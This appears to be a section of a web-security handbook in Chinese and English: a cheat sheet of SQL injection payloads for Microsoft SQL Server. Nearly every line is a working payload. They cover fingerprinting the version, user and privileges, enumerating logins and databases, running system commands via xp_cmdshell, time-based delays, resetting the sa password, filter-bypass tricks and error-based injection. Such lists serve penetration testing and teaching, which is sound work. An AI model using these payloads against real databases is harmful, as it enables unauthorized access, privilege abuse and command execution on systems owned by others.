4.1.7.1. SQL Server Payload¶
4.1.7.1.1. 常见Payload¶
- Version
SELECT @@version
- Comment
SELECT 1 -- commentSELECT /*comment*/1
- Space
0x01 - 0x20
- 用户信息
SELECT user_name()SELECT system_userSELECT userSELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
- 用户权限
select IS_SRVROLEMEMBER('sysadmin')select IS_SRVROLEMEMBER('db_owner')
- List User
SELECT name FROM master..syslogins
- 数据库信息
SELECT name FROM master..sysdatabasesselect quotename(name) from master..sysdatabases FOR XML PATH('')
- 执行命令
EXEC xp_cmdshell 'net user'
- Ascii
SELECT char(0x41)SELECT ascii('A')SELECT char(65)+char(66)=> returnAB
- Delay
WAITFOR DELAY '0:0:3'pause for 3 seconds
- Change Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
- Trick
id=1 union:select password from:user
- 文件读取
OpenRowset
- 当前查询语句
select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
- hostname
用于判断是否站库分离
select host_name()
4.1.7.1.2. 报错注入¶
1=convert(int,(db_name()))
4.1.7.1.3. 常用函数¶
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()